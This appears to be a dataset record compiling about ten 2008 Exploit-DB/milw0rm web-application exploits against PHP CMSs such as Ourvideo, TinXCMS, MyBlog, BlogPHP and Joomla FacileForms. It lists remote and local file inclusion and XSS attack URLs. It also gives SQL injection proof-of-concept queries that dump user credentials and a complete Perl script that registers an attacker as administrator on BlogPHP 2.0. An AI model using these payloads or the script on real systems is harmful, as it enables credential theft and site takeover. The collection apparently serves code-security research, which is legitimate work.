QLWD/code_shield huggingface dataset:
标题: ourvideo CMS 9.5 - Local File Inclusion / Remote File Inclusion / Cross-Site Scripting EDB-ID: 5920 CVE: 2008-2979 2008-2978 2008-2977 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-23 漏洞利用脚本: ???????????????????????????????????????????????????????????????????????????????
??                             C r a C k E r                                ??
??          T H E   C R A C K   O F   E T E R N A L   M I G H T             ??
??????????????????????????????????????????????????????????????????????????????

 ?????      From The Ashes and Dust Rises An Unimaginable crack....      ?????
??????????????????????????????????????????????????????????????????????????????
??       [ Remote File Include ]   [ Local File Include ]     [XSS]         ??
??????????????????????????????????????????????????????????????????????????????
:   Author   : CraCkEr                : :                                    :
?   Group    : uNiTeD CraCkiNg ForCE  ? ?                                    ?
?   Script   : Ourvideo CMS 9.5       ? ?         Register Globals :         ?
?   Download : SourceForge.net        ? ?                                    ?
?   Method   : GET                    ? ?          [?] ON   [ ] OFF          ?
?   Critical : High [????????]        ? ?                                    ?
?   Impact   : System access          ? ?                                    ?
? ????????????????????????????????????? ???????????????????????????????????? ?
?                              DALnet #crackers                             ??
??????????????????????????????????????????????????????????????????????????????
:                                                                            :
?  Release Notes:                                                            ?
?  ?????????????                                                             ?
?  Typically used for remotely exploitable vulnerabilities that can lead to  ?
?  system compromise.                                                        ?
?                                                                            ?

??????????????????????????????????????????????????????????????????????????????
??                             Exploit URL's                                ??
??????????????????????????????????????????????????????????????????????????????

[RFI]

http://localhost/path/phpi/edit_top_feature.php?include_connection=[SHELL]
http://localhost/path/phpi/edit_topics_feature.php?include_connection=[SHELL]


[LFI]

http://localhost/path/phpi/rss.php?prefix=[LFI]


[XSS]

http://localhost/path/phpi/login.php?top_page=[XSS]
http://localhost/path/phpi/login.php?end_page=[XSS]



??????????????????????????????????????????????????????????????????????????????
 
Greets:
       The_PitBull, Raz0r, iNs, Sad, CwG GeNiuS

??????????????????????????????????????????????????????????????????????????????
??                              © CraCkEr 2008                              ??
??????????????????????????????????????????????????????????????????????????????

# milw0rm.com [2008-06-23] URL: https://www.exploit-db.com/exploits/5920
标题: TinXCMS 1.1 - Local File Inclusion / Cross-Site Scripting EDB-ID: 5917 CVE: 2008-2976 2008-2975 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-23 漏洞利用脚本: ???????????????????????????????????????????????????????????????????????????????
??                             C r a C k E r                                ??
??          T H E   C R A C K   O F   E T E R N A L   M I G H T             ??
??????????????????????????????????????????????????????????????????????????????

 ?????      From The Ashes and Dust Rises An Unimaginable crack....      ?????
??????????????????????????????????????????????????????????????????????????????
??               [ Local File Include ]            [XSS]                    ??
??????????????????????????????????????????????????????????????????????????????
:   Author   : CraCkEr                : :                                    :
?   Group    : uNiTeD CraCkiNg ForCE  ? ?                                    ?
?   Script   : TinX CMS 1.1           ? ?         Register Globals :         ?
?   Download : SourceForge.net        ? ?                                    ?
?   Method   : GET                    ? ?          [?] ON   [ ] OFF          ?
?   Critical : High [????????]        ? ?                                    ?
?   Impact   : System access          ? ?                                    ?
? ????????????????????????????????????? ???????????????????????????????????? ?
?                              DALnet #crackers                             ??
??????????????????????????????????????????????????????????????????????????????
:                                                                            :
?  Release Notes:                                                            ?
?  ?????????????                                                             ?
?  Typically used for remotely exploitable vulnerabilities that can lead to  ?
?  system compromise.                                                        ?
?                                                                            ?

??????????????????????????????????????????????????????????????????????????????
??                             Exploit URL's                                ??
??????????????????????????????????????????????????????????????????????????????


[LFI]

http://localhost/path/include_me.php?language=[LFI]
http://localhost/path/admin/ajax.php?language=[LFI]
http://localhost/path/admin/inc/config.php?prefix=[LFI]
http://localhost/path/admin/objects/catalog.ajaxhandler.php?language=[LFI]

[XSS]

http://localhost/path/admin/objects/obj_image.php?language=[XSS]



??????????????????????????????????????????????????????????????????????????????
 
Greets:
       The_PitBull, Raz0r, iNs, Sad, CwG GeNiuS

??????????????????????????????????????????????????????????????????????????????
??                              © CraCkEr 2008                              ??
??????????????????????????????????????????????????????????????????????????????

# milw0rm.com [2008-06-23] URL: https://www.exploit-db.com/exploits/5917
标题: Joomla! Component FacileForms 1.4.4 - Remote File Inclusion EDB-ID: 5915 CVE: 2008-2990 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-23 漏洞利用脚本: Title: Joomla Component Com_Facileforms

================================================================

[+] Author : Dr.Kacak
[+] Special Thankz : KnocKout and all my friends
[+] System 0VerfL0verZ

=================================================================

Script : Joomla

Google Dork : index.php?option=com_facileforms

Error Code : facileforms.frame.php?ff_compath=

Bug Fix Advice : Undefined deÄŸerler, tanÄ±mlanmalÄ±dÄ±r.

###############################################################

< -- bug code start -- >

www.site.com/path/components/com_facileforms/facileforms.frame.php?ff_compath=[SH3LL]

/path/components/com_facileforms/facileforms.frame.php?ff_compath=[SH3LL]

< -- bug code end of -- >

# milw0rm.com [2008-06-23] URL: https://www.exploit-db.com/exploits/5915
标题: mm chat 1.5 - Local File Inclusion / Cross-Site Scripting EDB-ID: 5919 CVE: 2008-2974 2008-2973 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-23 漏洞利用脚本: ???????????????????????????????????????????????????????????????????????????????
??                             C r a C k E r                                ??
??          T H E   C R A C K   O F   E T E R N A L   M I G H T             ??
??????????????????????????????????????????????????????????????????????????????

 ?????      From The Ashes and Dust Rises An Unimaginable crack....      ?????
??????????????????????????????????????????????????????????????????????????????
??               [ Local File Include ]            [XSS]                    ??
??????????????????????????????????????????????????????????????????????????????
:   Author   : CraCkEr                : :                                    :
?   Group    : uNiTeD CraCkiNg ForCE  ? ?                                    ?
?   Script   : MM Chat 1.5            ? ?         Register Globals :         ?
?   Download : SourceForge.net        ? ?                                    ?
?   Method   : GET                    ? ?          [?] ON   [ ] OFF          ?
?   Critical : High [????????]        ? ?                                    ?
?   Impact   : System access          ? ?                                    ?
? ????????????????????????????????????? ???????????????????????????????????? ?
?                              DALnet #crackers                             ??
??????????????????????????????????????????????????????????????????????????????
:                                                                            :
?  Release Notes:                                                            ?
?  ?????????????                                                             ?
?  Typically used for remotely exploitable vulnerabilities that can lead to  ?
?  system compromise.                                                        ?
?                                                                            ?

??????????????????????????????????????????????????????????????????????????????
??                             Exploit URL's                                ??
??????????????????????????????????????????????????????????????????????????????


[LFI]

http://localhost/MMchat/chatconfig.php?currentlang=[LFI]

[XSS]

http://localhost/MMchat/chathead.php?sitename=[XSS]

http://localhost/MMchat/chathead.php?wmessage=[XSS]





??????????????????????????????????????????????????????????????????????????????
 
Greets:
       The_PitBull, Raz0r, iNs, Sad, CwG GeNiuS

??????????????????????????????????????????????????????????????????????????????
??                              © CraCkEr 2008                              ??
??????????????????????????????????????????????????????????????????????????????

# milw0rm.com [2008-06-23] URL: https://www.exploit-db.com/exploits/5919
标题: MyBlog: PHP and MySQL Blog/CMS software - SQL Injection / Cross-Site Scripting EDB-ID: 5913 CVE: 2008-6193 2008-2963 2008-2962 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-23 漏洞利用脚本: =====================================================================================
  MyBlog: PHP and MySQL Blog/CMS software (SQL/XSS) Multiple Remote Vulnerabilities
=====================================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 23 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : MyBlog: PHP and MySQL Blog/CMS software
 DOWNLOAD    : http://downloads.sourceforge.net/myblog
#####################################################

--- Remote SQL Injection ---

** Magic Quote must turn off **

----------
 Exploits
----------

[+] http://[Target]/os/index.php?view=[SQL Injection]
[+] http://[Target]/os/member.php?id=[SQL Injection]
[+] http://[Target]/os/post.php?id=[SQL Injection]

   **This exploits can get username and password (No Encryption)**

--------------
 POC Exploits
--------------

[+] http://192.168.24.25/os/index.php?view=cwh'/**/UNION/**/SELECT/**/1,2,email,concat(user,0x3a,password),5,6,7,8,9,10,11/**/FROM/**/myblog_users/**/WHERE/**/perm='1
[+] http://192.168.24.25/os/member.php?id=-9999'/**/UNION/**/SELECT/**/concat(user,0x3a,password),2,3,email,5,6,7,8,9,10/**/FROM/**/myblog_users/**/WHERE/**/perm='1
[+] http://192.168.24.25/os/post.php?id=-9999'/**/UNION/**/SELECT/**/1,2,email,concat(user,0x3a,password),5,6,7,8,9,10,11/**/FROM/**/myblog_users/**/WHERE/**/perm='1



--- Remote XSS ---

----------
 Exploits
----------

[+] http://[Target]/os/index.php?s=[XSS]
[+] http://[Target]/os/index.php?sort=[XSS]
[+] http://[Target]/os/post.php?id=[XSS]


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-23] URL: https://www.exploit-db.com/exploits/5913
标题: BlogPHP 2.0 - Privilege Escalation / SQL Injection EDB-ID: 5909 CVE: 2008-6745 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-23 漏洞利用脚本: #!/usr/bin/perl
# BlogPHP 2.0 Remote Privilege Escalation Exploit
# Author : Cod3rZ
# Site   : http://cod3rz.helloweb.eu
# Site   : http://devilsnight.altervista.org
# Cuz We Back Rude This Time
#
# Privilege Escalation
# Send a request to http://127.0.0.1/BlogPHPv2/index.php?act=register2 with:
# username=[yourusername]&password=[yourpass]&email=[yourmail]','Admin','','','','','','','','','','','','')/*
#
# There are other bugs, find them yourself
#
# Usage: perl bp.pl <site> <user> <pass> <mail>

system('cls');
#system('clear');

use LWP::UserAgent;
use HTTP::Request::Common;

$site = $ARGV[0];
$user = $ARGV[1];
$pass = $ARGV[2];
$mail = $ARGV[3];

 print " -------------------------------------------------\n";
 print " BlogPHP 2.0 Remote Privilege Escalation Exploit  \n";
 print " Powered by Cod3rZ                                \n";
 print " http://cod3rz.helloweb.eu                        \n";
 print " -------------------------------------------------\n";

sub usage {
 print " Usage: perl bp.pl <site> <user> <pass> <mail>    \n";
 print " -------------------------------------------------\n";
}
 if(!$mail) { &usage; }
 else { 
 if ($site !~ /http:\/\//) { $site = "http://".$site; }

 print " Site: $site                                      \n";
 print " User: $user                                      \n";
 print " Pass: $pass                                      \n";
 print " Mail: $mail                                      \n";
 print " -------------------------------------------------\n";
 print " Please Wait                                      \n";
 print " -------------------------------------------------\n";

 $ua = LWP::UserAgent->new;
  $lwp = $ua->request(POST $site.'index.php?act=register2', 
   [ username => $user, password => $pass, email    => $mail."','Admin','','','','','','','','','','','','')/*" ]);
 
 if($lwp->content =~ /Your now registered and logged in/) {
  print " Done. Now you're admin                           \n";
  print " -------------------------------------------------\n";
 }
 else {
  print " Failed.                                          \n";
  print " -------------------------------------------------\n";
 }

}

# milw0rm.com [2008-06-23] URL: https://www.exploit-db.com/exploits/5909
标题: odars CMS 1.0.2 - Remote File Inclusion EDB-ID: 5906 CVE: 2008-2885 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-22 漏洞利用脚本: ???????????????????????????????????????????????????????????????????????????????
??                             C r a C k E r                                ??
??          T H E   C R A C K   O F   E T E R N A L   M I G H T             ??
??????????????????????????????????????????????????????????????????????????????

 ?????      From The Ashes and Dust Rises An Unimaginable crack....      ?????
??????????????????????????????????????????????????????????????????????????????
??                          [ Remote File Include ]                         ??
??????????????????????????????????????????????????????????????????????????????
:   Author   : CraCkEr                : :                                    :
?   Group    : uNiTeD CraCkiNg ForCE  ? ?                                    ?
?   Script   : ODARS CMS 1.0.2        ? ?         Register Globals :         ?
?   Download : SourceForge.net        ? ?                                    ?
?   Method   : GET                    ? ?          [?] ON   [ ] OFF          ?
?   Critical : High [????????]        ? ?                                    ?
?   Impact   : System access          ? ?                                    ?
? ????????????????????????????????????? ???????????????????????????????????? ?
?                              DALnet #crackers                             ??
??????????????????????????????????????????????????????????????????????????????
:                                                                            :
?  Release Notes:                                                            ?
?  ?????????????                                                             ?
?  Typically used for remotely exploitable vulnerabilities that can lead to  ?
?  system compromise.                                                        ?
?                                                                            ?

??????????????????????????????????????????????????????????????????????????????
??                             Exploit URL's                                ??
??????????????????????????????????????????????????????????????????????????????
  

http://localhost/path/src/browser/resource/categories/resource_categories_view.php?CLASSES_ROOT=[SHELL]


??????????????????????????????????????????????????????????????????????????????
 
Greets:
       The_PitBull, Raz0r, iNs, Sad, CwG GeNiuS

??????????????????????????????????????????????????????????????????????????????
??                              © CraCkEr 2008                              ??
??????????????????????????????????????????????????????????????????????????????

# milw0rm.com [2008-06-22] URL: https://www.exploit-db.com/exploits/5906
标题: HoMaP-CMS 0.1 - 'go' SQL Injection EDB-ID: 5908 CVE: 2008-2989 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-23 漏洞利用脚本: --------------------------------------------------------------------------------------------------------------------------------
// HoMaP-CMS 0.1 (index.php go) SQL Injection Vulnerability
// Author: SxCx
// Download: SourceForge.net
// Version affected: 0.1
// Exploit: index.php?go=0'+union+select+passwd+from+user+where+username=[USERNAME]
--------------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2008-06-23] URL: https://www.exploit-db.com/exploits/5908
标题: Demo4 CMS - 'id' SQL Injection EDB-ID: 5914 CVE: 2008-2983 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-23 漏洞利用脚本: ===============================================================
  Demo4 CMS (index.php id) Remote SQL Injection Vulnerability
===============================================================
 
  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 23 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : Demo4 CMS 
 VERSION     : Beta01
 VENDOR      : N/A
 DOWNLOAD    : http://downloads.sourceforge.net/demo4
#####################################################

--- Remote SQL Injection ---

-----------------------------
 Vulnerable File [index.php]
-----------------------------

@Line

   8:  if ($_GET['id']=="")
   9:  $id = $startpage;
  10:  else
  11:  $id = $_GET['id'];
  12:  database_connect();
  13:  $query = "SELECT * from content
  14:         WHERE id = $id";
  15:  $error = mysql_error();

---------
 Exploit
---------

[+] http://[Target]/[demo4_path]/index.php?id=[SQL Injection]


   **This exploits can get username and password (No Encryption)**

-------------
 POC Exploit
-------------

[+] http://192.168.24.25/demo4/index.php?id=-9999/**/UNION/**/SELECT/**/1,userid,3,4,password,username,7,8/**/FROM/**/pages_t_users


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-23] URL: https://www.exploit-db.com/exploits/5914
标题: Dagger CMS 2008 - 'dir_inc' Remote File Inclusion EDB-ID: 5916 CVE: 2008-6636 2008-6635 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-23 漏洞利用脚本: ???????????????????????????????????????????????????????????????????????????????
??                             C r a C k E r                                ??
??          T H E   C R A C K   O F   E T E R N A L   M I G H T             ??
??????????????????????????????????????????????????????????????????????????????

 ?????      From The Ashes and Dust Rises An Unimaginable crack....      ?????
??????????????????????????????????????????????????????????????????????????????
??                          [ Remote File Include ]                         ??
??????????????????????????????????????????????????????????????????????????????
:   Author   : CraCkEr                : :                                    :
?   Group    : uNiTeD CraCkiNg ForCE  ? ?                                    ?
?   Script   : Dagger CMS             ? ?         Register Globals :         ?
?   Download : SourceForge.net        ? ?                                    ?
?   Method   : GET                    ? ?          [?] ON   [ ] OFF          ?
?   Critical : High [????????]        ? ?                                    ?
?   Impact   : System access          ? ?                                    ?
? ????????????????????????????????????? ???????????????????????????????????? ?
?                              DALnet #crackers                             ??
??????????????????????????????????????????????????????????????????????????????
:                                                                            :
?  Release Notes:                                                            ?
?  ?????????????                                                             ?
?  Typically used for remotely exploitable vulnerabilities that can lead to  ?
?  system compromise.                                                        ?
?                                                                            ?

??????????????????????????????????????????????????????????????????????????????
??                             Exploit URL's                                ??
??????????????????????????????????????????????????????????????????????????????


http://localhost/path/skins/default.php?dir_inc=[SHELL]


??????????????????????????????????????????????????????????????????????????????
 
Greets:
       The_PitBull, Raz0r, iNs, Sad, CwG GeNiuS

??????????????????????????????????????????????????????????????????????????????
??                              © CraCkEr 2008                              ??
??????????????????????????????????????????????????????????????????????????????

# milw0rm.com [2008-06-23] URL: https://www.exploit-db.com/exploits/5916
标题: ResearchGuide 0.5 - 'id' SQL Injection EDB-ID: 5911 CVE: 2008-2964 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-23 漏洞利用脚本: :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ################################################################
 #    [ researchguide ]   Remote SQL Injection Vulnerability    #
 ################################################################
 #
 # Script site: http://researchguide.sourceforge.net/
 #   http://sourceforge.net/projects/researchguide/
 #
 #
 # Vuln: http://site.com/guide/guide.php?id=-1+UNION+SELECT+1,2,concat_ws(char(58),id,name,uniqname,email),4,5,6,7,8,9%20from%20selector/*
 # 
 #
 # Bug:
 #
 # ...
 # $query = "SELECT * FROM $guideTable WHERE id=$id";
 #
 # $result = mysql_query ($query)
 #    or die ('The query failed!');
 # ...
 #
 ########################################################
 # Greetz: D3m0n_DE * sid.psycho * str0ke and otherz..  #
 ########################################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-06-23] URL: https://www.exploit-db.com/exploits/5911